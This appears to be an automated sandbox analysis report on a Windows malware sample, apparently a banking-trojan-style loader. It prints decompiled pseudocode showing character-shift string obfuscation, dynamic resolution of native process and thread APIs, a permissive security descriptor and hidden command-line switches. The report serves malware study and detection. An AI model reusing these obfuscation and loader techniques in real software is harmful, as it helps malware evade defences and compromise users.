Start date:	28/03/2021
Path:	C:\Users\user\Desktop\vovy0jYEM7.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\vovy0jYEM7.exe'
Imagebase:	0x400000
File size:	143360 bytes
MD5 hash:	AC98D2D71F3A4998ABE80DD6E0695FBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: vovy0jYEM7.exe PID: 6588 Parent PID: 6032 vovy0jYEM7.exeCOMMON

Executed Functions

Function 00404E5C, Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 283
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00404E5C(intOrPtr* __ecx, void* __edx, signed char _a4) {
				char _v476;
				char _v956;
				char _v1348;
				char _v1368;
				char _v1384;
				char _v1400;
				char _v1412;
				intOrPtr _v1420;
				intOrPtr _v1424;
				signed int _v1428;
				intOrPtr _v1432;
				intOrPtr _v1436;
				struct HINSTANCE__* _v1440;
				void* __edi;
				void* __esi;
				void* _t51;
				signed int _t53;
				struct HINSTANCE__* _t56;
				struct HINSTANCE__* _t60;
				char* _t63;
				char* _t71;
				char* _t76;
				_Unknown_base(*)()* _t78;
				signed int _t79;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				void* _t85;
				signed int _t88;
				void** _t89;
				void** _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t98;
				void* _t104;
				intOrPtr _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				struct HINSTANCE__* _t112;
				WCHAR* _t114;
				signed int _t117;
				void* _t120;
				intOrPtr _t122;
				void* _t124;
				intOrPtr _t125;
				signed int* _t126;
				signed int _t129;
				WCHAR* _t131;
				void* _t132;
				signed int* _t134;

				_t120 = __edx;
				_t118 = __ecx;
				_t129 = _a4 & 0x00000001;
				_v1428 = _t129;
				if(_t129 != 0) {
					_t114 = 0;
					__eflags = 0;
				} else {
					_t114 = 0;
					 *0x4222a8 = 0;
				}
				_t122 = E00404AA4(_t51);
				 *0x4222c0 = _t122;
				if(_t122 == _t114) {
					L6:
					_t53 = 0;
					goto L7;
				} else {
					if(_t129 != _t114) {
						_v1424 = E004049DE(_t118, _t120, _t122, "GetProcAddress");
						_v1432 = E004049DE(_t118, _t120, _t122, "LoadLibraryA");
						_t56 =  *0x4222bc; // 0x400000
						_t5 = _t56 + 0x3c; // 0xd8
						_v1440 = _t56;
						_t118 =  *_t5 + _t56 + 0x80;
						__eflags = _v1432 - _t114;
						if(_v1432 == _t114) {
							L22:
							_t131 =  &_v1368;
							E00407384(0xe2, _t131);
							_t60 = GetModuleHandleW(_t131);
							 *0x4222c4 = _t60;
							__eflags = _t60 - _t114;
							if(_t60 == _t114) {
								goto L6;
							}
							_t124 = lstrcpyA;
							lstrcpyA( &_v1400, "OuDsfbufUisfbe");
							__eflags = _v1400;
							_t63 =  &_v1400;
							if(_v1400 == 0) {
								L25:
								_t132 = GetProcAddress;
								 *0x4222c8 = GetProcAddress( *0x4222c4,  &_v1400);
								 *0x4222cc = GetProcAddress( *0x4222c4, "NtCreateUserProcess");
								 *0x4222d0 = GetProcAddress( *0x4222c4, "NtQueryInformationProcess");
								 *0x4222d4 = GetProcAddress( *0x4222c4, "RtlUserThreadStart");
								lstrcpyA( &_v1412, "MesMpbeEmm");
								__eflags = _v1412;
								_t71 =  &_v1412;
								if(_v1412 == 0) {
									L27:
									 *0x4222d8 = GetProcAddress( *0x4222c4,  &_v1412);
									lstrcpyA( &_v1384, "MesHfuEmmIboemf");
									__eflags = _v1384;
									_t76 =  &_v1384;
									if(_v1384 == 0) {
										L29:
										_t78 = GetProcAddress( *0x4222c4,  &_v1384);
										 *0x4222dc = _t78;
										__eflags =  *0x4222c8 - _t114; // 0x771199e0
										if(__eflags != 0) {
											L31:
											__eflags =  *0x4222d0 - _t114; // 0x77119670
											if(__eflags == 0) {
												goto L6;
											}
											__eflags =  *0x4222d8 - _t114; // 0x770e7840
											if(__eflags == 0) {
												goto L6;
											}
											__eflags = _t78 - _t114;
											if(_t78 == _t114) {
												goto L6;
											}
											_t79 = E00414BDF(); // executed
											__eflags = _t79;
											if(_t79 == 0) {
												goto L6;
											}
											_t80 = E00414E71();
											__eflags = _t80;
											if(_t80 == 0) {
												goto L6;
											}
											_t81 = E004151A8();
											__eflags = _t81;
											if(_t81 == 0) {
												goto L6;
											}
											_t82 = E00414F1C();
											__eflags = _t82;
											if(_t82 == 0) {
												goto L6;
											}
											_t83 = E004152A7();
											__eflags = _t83;
											if(_t83 == 0) {
												goto L6;
											}
											_t84 = E0041512E();
											__eflags = _t84;
											if(_t84 == 0) {
												goto L6;
											}
											_t85 = HeapCreate(_t114, 0x80000, _t114); // executed
											 *0x4237cc = _t85;
											__eflags = _t85 - _t114;
											if(_t85 != _t114) {
												 *0x422863 = 1;
											} else {
												 *0x4237cc = GetProcessHeap();
												 *0x422863 = 0;
											}
											 *0x422dd4 = _t114;
											 *0x422862 = 0;
											InitializeCriticalSection(0x423830);
											 *0x423848 = _t114; // executed
											__imp__#115(0x202,  &_v1348); // executed
											_t88 = E00404AE6(_a4, _t124, _t132);
											__eflags = _t88;
											if(_t88 == 0) {
												goto L6;
											} else {
												__eflags = _v1436 - _t114;
												if(_v1436 != _t114) {
													L46:
													_t89 = E0040F84C(_t118, 0xffffffff, 0x4222b8);
													 *0x4222ac = _t89;
													__eflags = _t89 - _t114;
													if(_t89 == _t114) {
														goto L6;
													}
													 *0x4222b0 = GetLengthSid( *_t89);
													_t91 =  *0x4222ac; // 0x0
													 *0x4222b4 = E0040F5E4( *_t91, _t90);
													_t93 = E00404B65(_t92, _a4);
													__eflags = _t93;
													if(_t93 == 0) {
														goto L6;
													}
													 *0x422518 = GetCurrentProcessId();
													 *0x42251c = _t114;
													__eflags = _v1436 - _t114;
													if(_v1436 != _t114) {
														_t95 = 1;
													} else {
														_t95 = E00404BC7();
													}
													__eflags = _t95;
													if(_t95 == 0) {
														goto L6;
													} else {
														__eflags = _v1436 - _t114;
														if(_v1436 == _t114) {
															E00405606( &_v956);
															_t118 = 0x422716;
															E00412A08(0x422716, 0x422520,  *0x4222b4,  &_v476, _t114);
														}
														_t96 = E00404C19(_a4);
														__eflags = _t96;
														if(_t96 == 0) {
															goto L6;
														} else {
															__eflags = _a4 & 0x00000002;
															 *0x423824 = _t114;
															 *0x423910 = 0;
															 *0x423880 = 0;
															 *0x422868 = 0;
															 *0x422800 = 0;
															 *0x422938 = 0;
															 *0x4228d0 = 0;
															if(__eflags == 0) {
																_t98 = 1;
															} else {
																_t98 = E00404CD0(_t118, _t120, __eflags);
															}
															__eflags = _t98;
															_t53 = _t98 & 0xffffff00 | _t98 != 0x00000000;
															L7:
															return _t53;
														}
													}
												}
												_t104 = CreateEventW(0x4222e0, 1, _t114, _t114);
												 *0x422770 =  *0x422770 | 0xffffffff;
												 *0x42276c = _t104;
												__eflags = _t104 - _t114;
												if(_t104 == _t114) {
													goto L6;
												}
												goto L46;
											}
										}
										__eflags =  *0x4222cc - _t114; // 0x7711a120
										if(__eflags == 0) {
											goto L6;
										}
										goto L31;
									} else {
										goto L28;
									}
									do {
										L28:
										 *_t76 =  *_t76 - 1;
										_t76 = _t76 + 1;
										__eflags =  *_t76;
									} while ( *_t76 != 0);
									goto L29;
								} else {
									goto L26;
								}
								do {
									L26:
									 *_t71 =  *_t71 - 1;
									_t71 = _t71 + 1;
									__eflags =  *_t71;
								} while ( *_t71 != 0);
								goto L27;
							} else {
								goto L24;
							}
							do {
								L24:
								 *_t63 =  *_t63 - 1;
								_t63 = _t63 + 1;
								__eflags =  *_t63;
							} while ( *_t63 != 0);
							goto L25;
						}
						__eflags = _v1420 - _t114;
						if(_v1420 == _t114) {
							goto L22;
						}
						_t125 =  *_t118;
						__eflags = _t125 - _t114;
						if(_t125 <= _t114) {
							goto L22;
						}
						__eflags =  *((intOrPtr*)(_t118 + 4)) - 0x14;
						if( *((intOrPtr*)(_t118 + 4)) <= 0x14) {
							goto L22;
						}
						_t126 = _t125 + _t56;
						__eflags =  *_t126 - _t114;
						if( *_t126 == _t114) {
							goto L22;
						} else {
							goto L13;
						}
						while(1) {
							L13:
							_t108 = _v1424(_t126[3] + _v1432);
							_v1420 = _t108;
							__eflags = _t108 - _t114;
							if(_t108 == _t114) {
								goto L6;
							}
							_t134 =  *_t126 + _v1436;
							_t117 = _t126[4] + _v1436;
							while(1) {
								_t109 =  *_t134;
								__eflags = _t109;
								if(__eflags == 0) {
									break;
								}
								if(__eflags >= 0) {
									_t118 = _v1436;
									_t110 = _t109 + _v1436 + 2;
								} else {
									_t110 = _t109 & 0x0000ffff;
								}
								_t111 = _v1424(_v1420, _t110);
								__eflags = _t111;
								if(_t111 == 0) {
									goto L6;
								} else {
									 *_t117 = _t111;
									_t134 =  &(_t134[1]);
									_t117 = _t117 + 4;
									__eflags = _t117;
									continue;
								}
							}
							_t126 =  &(_t126[5]);
							_t114 = 0;
							__eflags =  *_t126;
							if( *_t126 != 0) {
								continue;
							}
							goto L22;
						}
						goto L6;
					}
					_t112 = GetModuleHandleW(_t114);
					 *0x4222bc = _t112;
					if(_t112 != _t114) {
						goto L22;
					}
					goto L6;
				}
			}

0x00404e5c
0x00404e5c
0x00404e6d
0x00404e71
0x00404e75
0x00404e81
0x00404e81
0x00404e77
0x00404e77
0x00404e79
0x00404e79
0x00404e88
0x00404e8a
0x00404e92
0x00404eac
0x00404eac
0x00000000
0x00404e94
0x00404e96
0x00404ec6
0x00404ecf
0x00404ed3
0x00404ed8
0x00404edb
0x00404edf
0x00404ee6
0x00404eea
0x00404f60
0x00404f60
0x00404f69
0x00404f71
0x00404f77
0x00404f7c
0x00404f7e
0x00000000
0x00000000
0x00404f84
0x00404f94
0x00404f96
0x00404f9b
0x00404f9f
0x00404fa9
0x00404fa9
0x00404fc7
0x00404fd9
0x00404feb
0x00404ff2
0x00405001
0x00405003
0x00405008
0x0040500c
0x00405016
0x00405023
0x00405032
0x00405034
0x00405039
0x0040503d
0x00405047
0x00405052
0x00405054
0x00405059
0x0040505f
0x0040506d
0x0040506d
0x00405073
0x00000000
0x00000000
0x00405079
0x0040507f
0x00000000
0x00000000
0x00405085
0x00405087
0x00000000
0x00000000
0x0040508d
0x00405092
0x00405094
0x00000000
0x00000000
0x0040509a
0x0040509f
0x004050a1
0x00000000
0x00000000
0x004050a7
0x004050ac
0x004050ae
0x00000000
0x00000000
0x004050b4
0x004050b9
0x004050bb
0x00000000
0x00000000
0x004050c1
0x004050c6
0x004050c8
0x00000000
0x00000000
0x004050ce
0x004050d3
0x004050d5
0x00000000
0x00000000
0x004050e2
0x004050e8
0x004050ed
0x004050ef
0x00405105
0x004050f1
0x004050f7
0x004050fc
0x004050fc
0x00405111
0x00405117
0x0040511e
0x0040512e
0x00405134
0x0040513d
0x00405142
0x00405144
0x00000000
0x0040514a
0x0040514a
0x0040514e
0x00405173
0x0040517a
0x0040517f
0x00405184
0x00405186
0x00000000
0x00000000
0x00405194
0x0040519a
0x004051a9
0x004051ae
0x004051b3
0x004051b5
0x00000000
0x00000000
0x004051c1
0x004051c6
0x004051cc
0x004051d0
0x004051d9
0x004051d2
0x004051d2
0x004051d2
0x004051db
0x004051dd
0x00000000
0x004051e3
0x004051e3
0x004051e7
0x004051f0
0x00405204
0x00405213
0x00405213
0x0040521b
0x00405220
0x00405222
0x00000000
0x00405228
0x0040522a
0x0040522e
0x00405234
0x0040523a
0x00405240
0x00405246
0x0040524c
0x00405252
0x00405258
0x00405261
0x0040525a
0x0040525a
0x0040525a
0x00405263
0x00405265
0x00404eae
0x00404eb4
0x00404eb4
0x00405222
0x004051dd
0x00405159
0x0040515f
0x00405166
0x0040516b
0x0040516d
0x00000000
0x00000000
0x00000000
0x0040516d
0x00405144
0x00405061
0x00405067
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040503f
0x0040503f
0x0040503f
0x00405041
0x00405042
0x00405042
0x00000000
0x00000000
0x00000000
0x00000000
0x0040500e
0x0040500e
0x0040500e
0x00405010
0x00405011
0x00405011
0x00000000
0x00000000
0x00000000
0x00000000
0x00404fa1
0x00404fa1
0x00404fa1
0x00404fa3
0x00404fa4
0x00404fa4
0x00000000
0x00404fa1
0x00404eec
0x00404ef0
0x00000000
0x00000000
0x00404ef2
0x00404ef4
0x00404ef6
0x00000000
0x00000000
0x00404ef8
0x00404efc
0x00000000
0x00000000
0x00404efe
0x00404f00
0x00404f02
0x00000000
0x00000000
0x00000000
0x00000000
0x00404f04
0x00404f04
0x00404f0c
0x00404f10
0x00404f14
0x00404f16
0x00000000
0x00000000
0x00404f1d
0x00404f21
0x00404f51
0x00404f51
0x00404f53
0x00404f55
0x00000000
0x00000000
0x00404f27
0x00404f30
0x00404f34
0x00404f29
0x00404f29
0x00404f29
0x00404f3d
0x00404f41
0x00404f43
0x00000000
0x00404f49
0x00404f49
0x00404f4b
0x00404f4e
0x00404f4e
0x00000000
0x00404f4e
0x00404f43
0x00404f57
0x00404f5a
0x00404f5c
0x00404f5e
0x00000000
0x00000000
0x00000000
0x00404f5e
0x00000000
0x00404f04
0x00404e99
0x00404e9f
0x00404ea6
0x00000000
0x00000000
0x00000000
0x00404ea6

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000000), ref: 00404E99
GetModuleHandleW.KERNEL32(?,LoadLibraryA,GetProcAddress,?,?,00000000), ref: 00404F71
lstrcpyA.KERNEL32(?,OuDsfbufUisfbe,?,?,00000000), ref: 00404F94
GetProcAddress.KERNEL32(00000000), ref: 00404FBA
GetProcAddress.KERNEL32(NtCreateUserProcess), ref: 00404FCC
GetProcAddress.KERNEL32(NtQueryInformationProcess), ref: 00404FDE
GetProcAddress.KERNEL32(RtlUserThreadStart), ref: 00404FF0
lstrcpyA.KERNEL32(?,MesMpbeEmm), ref: 00405001
GetProcAddress.KERNEL32(00000000), ref: 00405021
lstrcpyA.KERNEL32(?,MesHfuEmmIboemf), ref: 00405032
GetProcAddress.KERNEL32(00000000), ref: 00405052
HeapCreate.KERNELBASE(00000000,00080000,00000000), ref: 004050E2
GetProcessHeap.KERNEL32 ref: 004050F1
InitializeCriticalSection.KERNEL32(00423830), ref: 0040511E
WSAStartup.WS2_32(00000202,?), ref: 00405134
CreateEventW.KERNEL32(004222E0,00000001,00000000,00000000), ref: 00405159
GetLengthSid.ADVAPI32(00000000,000000FF,004222B8), ref: 0040518E
GetCurrentProcessId.KERNEL32(?,00000000,00000000), ref: 004051BB

Strings

OuDsfbufUisfbe, xrefs: 00404F8A
MesHfuEmmIboemf, xrefs: 00405028
RtlUserThreadStart, xrefs: 00404FE0
LoadLibraryA, xrefs: 00404EC1
NtCreateUserProcess, xrefs: 00404FBC
GetProcAddress, xrefs: 00404EB7
NtQueryInformationProcess, xrefs: 00404FCE
MesMpbeEmm, xrefs: 00404FF7

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$lstrcpy$CreateHandleHeapModuleProcess$CriticalCurrentEventInitializeLengthSectionStartup
String ID: GetProcAddress$LoadLibraryA$MesHfuEmmIboemf$MesMpbeEmm$NtCreateUserProcess$NtQueryInformationProcess$OuDsfbufUisfbe$RtlUserThreadStart
API String ID: 673048641-3405837473
Opcode ID: fb08c7b0a706960b516a24bb72685497aca2d406517493de1eb2af3f79d19c8a
Instruction ID: f374d556cf3489f0941386c9e9b77853b9935359a881dd33f02c2e0983b6d9f5
Opcode Fuzzy Hash: fb08c7b0a706960b516a24bb72685497aca2d406517493de1eb2af3f79d19c8a
Instruction Fuzzy Hash: A7B171B0A04345EFCB20AF60DE8465A77A4BB84304F54057FE540B72E1D7B99946CFAD

Uniqueness

Uniqueness Score: -1.00%

Function 004118F9, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004118F9(struct _SECURITY_DESCRIPTOR* __edi, intOrPtr* __esi) {
				signed int _v8;
				struct _ACL* _v12;
				int _v16;
				int _v20;
				short _v60;
				intOrPtr* _t27;
				WCHAR* _t29;
				struct _SECURITY_DESCRIPTOR* _t39;
				intOrPtr* _t40;

				_t40 = __esi;
				_t39 = __edi;
				if(InitializeSecurityDescriptor(__edi, 1) == 0 || SetSecurityDescriptorDacl(__edi, 1, 0, 0) == 0) {
					return 0;
				} else {
					lstrcpyW( &_v60, L"T;)NM<<OSOXOY<<<MX*");
					_t27 =  &_v60;
					if(_v60 == 0) {
						L4:
						_t29 =  &_v60;
						__imp__ConvertStringSecurityDescriptorToSecurityDescriptorW(_t29, 1,  &_v8, 0); // executed
						if(_t29 == 0) {
							L8:
							_v8 = _v8 | 0xffffffff;
							L9:
							if(_t40 != 0) {
								 *_t40 = 0xccccccc;
								 *((short*)(_t40 + 1)) = 0;
								 *((char*)(_t40 + 3)) = 0;
								 *(_t40 + 4) = _t39;
								 *((intOrPtr*)(_t40 + 8)) = 0;
							}
							return _v8;
						}
						_v12 = 0;
						if(GetSecurityDescriptorSacl(_v8,  &_v20,  &_v12,  &_v16) == 0 || SetSecurityDescriptorSacl(_t39, _v20, _v12, _v16) == 0) {
							LocalFree(_v8);
							goto L8;
						} else {
							goto L9;
						}
					} else {
						goto L3;
					}
					do {
						L3:
						 *_t27 =  *_t27 + 0xffff;
						_t27 = _t27 + 2;
					} while ( *_t27 != 0);
					goto L4;
				}
			}

0x004118f9
0x004118f9
0x0041190b
0x00000000
0x00411926
0x0041192f
0x00411935
0x0041193c
0x0041194e
0x00411955
0x00411959
0x00411961
0x0041199c
0x0041199c
0x004119a0
0x004119a2
0x004119a4
0x004119aa
0x004119ae
0x004119b1
0x004119b4
0x004119b4
0x00000000
0x004119b7
0x00411972
0x0041197d
0x00411996
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041193e
0x0041193e
0x00411943
0x00411946
0x00411949
0x00000000
0x0041193e

APIs

InitializeSecurityDescriptor.ADVAPI32(004222EC,00000001,?), ref: 00411903
SetSecurityDescriptorDacl.ADVAPI32(004222EC,00000001,00000000,00000000), ref: 00411918
lstrcpyW.KERNEL32(?,T;)NM<<OSOXOY<<<MX*), ref: 0041192F
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000001,00000000,00000000), ref: 00411959
GetSecurityDescriptorSacl.ADVAPI32(00000000,?,?,?), ref: 00411975
SetSecurityDescriptorSacl.ADVAPI32(004222EC,?,?,?), ref: 00411989
LocalFree.KERNEL32(00000000), ref: 00411996

Strings

T;)NM<<OSOXOY<<<MX*, xrefs: 00411926

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$Sacl$ConvertDaclFreeInitializeLocalStringlstrcpy
String ID: T;)NM<<OSOXOY<<<MX*
API String ID: 4208107386-3079356208
Opcode ID: 3af2cdff3bb43996a62e269c0b5369d6f43ccef852f8ca875bc649226ec06358
Instruction ID: a0a47ee870e818a2cd41380c180788772d7022c0e182a3e2de58378421747015
Opcode Fuzzy Hash: 3af2cdff3bb43996a62e269c0b5369d6f43ccef852f8ca875bc649226ec06358
Instruction Fuzzy Hash: 692130B1A10249FBDB219FE4DD94EEFBBBCEF00700F14456AE651E2160E7749A84DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00405F45, Relevance: 9.1, APIs: 6, Instructions: 72
sleepCOMMON

Download Yara Rule

C-Code - Quality: 97%

			_entry_(signed int __ecx, void* __edx, void* __fp0) {
				int _v8;
				void* _t13;
				void* _t19;
				signed char _t25;
				signed char _t28;
				signed char _t29;
				signed int _t34;
				void* _t47;

				_t47 = __fp0;
				_t32 = __ecx;
				_push(__ecx);
				_t28 = 0; // executed
				_t13 = E00404E5C(__ecx, __edx, 0); // executed
				if(_t13 == 0) {
					L19:
					__eflags = _t28;
					_t12 = _t28 == 0;
					__eflags = _t12;
					ExitProcess(0 | _t12);
				}
				_t29 = 2;
				SetErrorMode(0x8007);
				_t19 = CommandLineToArgvW(GetCommandLineW(),  &_v8);
				if(_t19 == 0) {
					L13:
					_t44 = _t29 & 0x00000008;
					if((_t29 & 0x00000008) == 0) {
						_t30 = _t29 & 0x00000001;
						__eflags = _t29 & 0x00000001;
						_t25 = E00405B5C(_t32, _t29 & 0x00000001, _t47, _t30 & 0x000000ff, _t29 >> 0x00000001 & 1);
					} else {
						_t25 = E0040596E(_t44);
					}
					_t28 = _t25;
					if(_t28 == 0 || ( *0x4222a8 & 0x00000002) == 0) {
						goto L19;
					} else {
						Sleep(0xffffffff);
						return _t25;
					}
				}
				_t34 = 0;
				if(_v8 <= 0) {
					L12:
					LocalFree(_t19);
					goto L13;
				} else {
					goto L3;
				}
				do {
					L3:
					_t32 =  *(_t19 + _t34 * 4);
					if(_t32 != 0 &&  *_t32 == 0x2d) {
						_t32 =  *(_t32 + 2) & 0x0000ffff;
						if(_t32 == 0x66) {
							_t29 = _t29 | 0x00000001;
							__eflags = _t29;
						} else {
							if(_t32 == 0x69) {
								_t29 = _t29 | 0x00000008;
							} else {
								if(_t32 == 0x6e) {
									_t29 = _t29 & 0x000000fd;
								}
							}
						}
					}
					_t34 = _t34 + 1;
				} while (_t34 < _v8);
				goto L12;
			}

0x00405f45
0x00405f45
0x00405f48
0x00405f4c
0x00405f4e
0x00405f55
0x00405ffb
0x00405ffd
0x00405fff
0x00405fff
0x00406003
0x00406003
0x00405f60
0x00405f63
0x00405f74
0x00405f7c
0x00405fbf
0x00405fbf
0x00405fc2
0x00405fd5
0x00405fd5
0x00405fdc
0x00405fc4
0x00405fc4
0x00405fc4
0x00405fe1
0x00405fe5
0x00000000
0x00405ff0
0x00405ff2
0x00405ffa
0x00405ffa
0x00405fe5
0x00405f7e
0x00405f83
0x00405fb8
0x00405fb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f85
0x00405f85
0x00405f85
0x00405f8a
0x00405f92
0x00405f99
0x00405faf
0x00405faf
0x00405f9b
0x00405f9e
0x00405faa
0x00405fa0
0x00405fa3
0x00405fa5
0x00405fa5
0x00405fa3
0x00405f9e
0x00405f99
0x00405fb2
0x00405fb3
0x00000000

APIs

Part of subcall function 00404E5C: GetModuleHandleW.KERNEL32(00000000,?,?,00000000), ref: 00404E99

SetErrorMode.KERNEL32(00008007,00000000), ref: 00405F63
GetCommandLineW.KERNEL32(?), ref: 00405F6D
CommandLineToArgvW.SHELL32(00000000), ref: 00405F74
LocalFree.KERNEL32(00000000), ref: 00405FB9
Sleep.KERNEL32(000000FF,?,?), ref: 00405FF2
ExitProcess.KERNEL32 ref: 00406003

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CommandLine$ArgvErrorExitFreeHandleLocalModeModuleProcessSleep
String ID:
API String ID: 1008227940-0
Opcode ID: e792c4f53a3c5cabc274e1e13eb75514663877351938a759ab541fbf0c5c3d3b
Instruction ID: 2b147ed5b1c6811b3d3fc6901d47c9c0626ab80924394b4004eff87efe97c946
Opcode Fuzzy Hash: e792c4f53a3c5cabc274e1e13eb75514663877351938a759ab541fbf0c5c3d3b
Instruction Fuzzy Hash: 32112960642603EADB141760C94A7BB3798EF01315F18407BA491F71D2CA3D8985AF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041296B, Relevance: 7.6, APIs: 5, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041296B() {
				void* _t13;
				void* _t26;
				short _t27;
				void* _t29;
				void* _t31;

				_t29 = _t31 - 0x74;
				_t13 = _t29 - 0x25c;
				_t27 = 0;
				__imp__SHGetFolderPathW(0, 0x24, 0, 0, _t13, _t26); // executed
				if(_t13 == 0) {
					while(1) {
						PathAddBackslashW(_t29 - 0x25c);
						_t18 =  *0x4237b4(_t29 - 0x25c, _t29 - 0x54, 0x64); // executed
						if(_t18 != 0) {
							break;
						}
						PathRemoveBackslashW(_t29 - 0x25c);
						if(PathRemoveFileSpecW(_t29 - 0x25c) == 0) {
							goto L1;
						} else {
							continue;
						}
						goto L2;
					}
					if( *((short*)(_t29 - 0x40)) != 0x7b) {
						goto L1;
					} else {
						_push( *((intOrPtr*)(_t29 + 0x7c)));
						 *((short*)(_t29 + 0xc)) = 0;
						_push(_t29 - 0x40);
						if( *0x4229a0() != 0) {
							goto L1;
						} else {
							_t27 = 1;
						}
					}
				} else {
					L1:
					E0040E2E8(_t18,  *((intOrPtr*)(_t29 + 0x7c)), _t27, 0x10);
				}
				L2:
				return _t27;
			}

0x0041296c
0x00412977
0x0041297e
0x00412985
0x0041298d
0x004129c2
0x004129c9
0x004129dc
0x004129e4
0x00000000
0x00000000
0x004129ab
0x004129c0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004129c0
0x004129eb
0x00000000
0x004129ed
0x004129ed
0x004129f2
0x004129f9
0x00412a02
0x00000000
0x00412a04
0x00412a04
0x00412a04
0x00412a02
0x0041298f
0x0041298f
0x00412995
0x00412995
0x0041299a
0x004129a1

APIs

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,?), ref: 00412985
PathRemoveBackslashW.SHLWAPI(?), ref: 004129AB
PathRemoveFileSpecW.SHLWAPI(?), ref: 004129B8
PathAddBackslashW.SHLWAPI(?), ref: 004129C9
GetVolumeNameForVolumeMountPointW.KERNELBASE(?,?,00000064), ref: 004129DC

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$BackslashRemoveVolume$FileFolderMountNamePointSpec
String ID:
API String ID: 3638793323-0
Opcode ID: af65e98aa4c0850bdc6a6382d8728f845541cc2e1e32e4d4572eee2f51b930a3
Instruction ID: e41b985f4b90df2a7fc76bb19b6874c31ede4ed9dec3a384cffc560a778b8171
Opcode Fuzzy Hash: af65e98aa4c0850bdc6a6382d8728f845541cc2e1e32e4d4572eee2f51b930a3
Instruction Fuzzy Hash: 1F1170B164020DAFDF209FE4DD48BDB73BCEB04345F544476B615E2060E678DA988B28

Uniqueness

Uniqueness Score: -1.00%

Function 00414BDF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31
librarystringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00414BDF() {
				short _v28;
				intOrPtr* _t8;
				signed int _t12;

				lstrcpyW( &_v28, L"ykpkpgv0fnn");
				_t8 =  &_v28;
				if(_v28 == 0) {
					L2:
					if(GetModuleHandleW( &_v28) == 0) {
						_t12 = LoadLibraryW( &_v28); // executed
						asm("sbb eax, eax");
						return  ~( ~_t12);
					} else {
						return 1;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					 *_t8 =  *_t8 + 0xfffe;
					_t8 = _t8 + 2;
				} while ( *_t8 != 0);
				goto L2;
			}

0x00414bee
0x00414bf9
0x00414bfc
0x00414c0f
0x00414c1b
0x00414c25
0x00414c2d
0x00414c32
0x00414c1d
0x00414c20
0x00414c20
0x00000000
0x00000000
0x00000000
0x00414bfe
0x00414bfe
0x00414c03
0x00414c06
0x00414c09
0x00000000

APIs

lstrcpyW.KERNEL32(?,ykpkpgv0fnn), ref: 00414BEE
GetModuleHandleW.KERNEL32(00000000), ref: 00414C13
LoadLibraryW.KERNELBASE(00000000), ref: 00414C25

Strings

ykpkpgv0fnn, xrefs: 00414BE5

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModulelstrcpy
String ID: ykpkpgv0fnn
API String ID: 1540776871-3636716230
Opcode ID: a2b8ad0bbf6727fa80c9082911927dde5a6e528661e7ccd8a36580e77dad58e8
Instruction ID: d88e7af0f4864db311df18c54f77a1a74c98055642ef9f28f86d7669d82e3753
Opcode Fuzzy Hash: a2b8ad0bbf6727fa80c9082911927dde5a6e528661e7ccd8a36580e77dad58e8
Instruction Fuzzy Hash: 55F01C31A4020A9BCB10AFA4D94B9EA7BBCEB50705F440572D602E75A0EBB8D5C587E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041676F, Relevance: 65.9, APIs: 34, Strings: 3, Instructions: 1184
filetimeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E0041676F(void* __ecx, void* __eflags, intOrPtr _a4) {
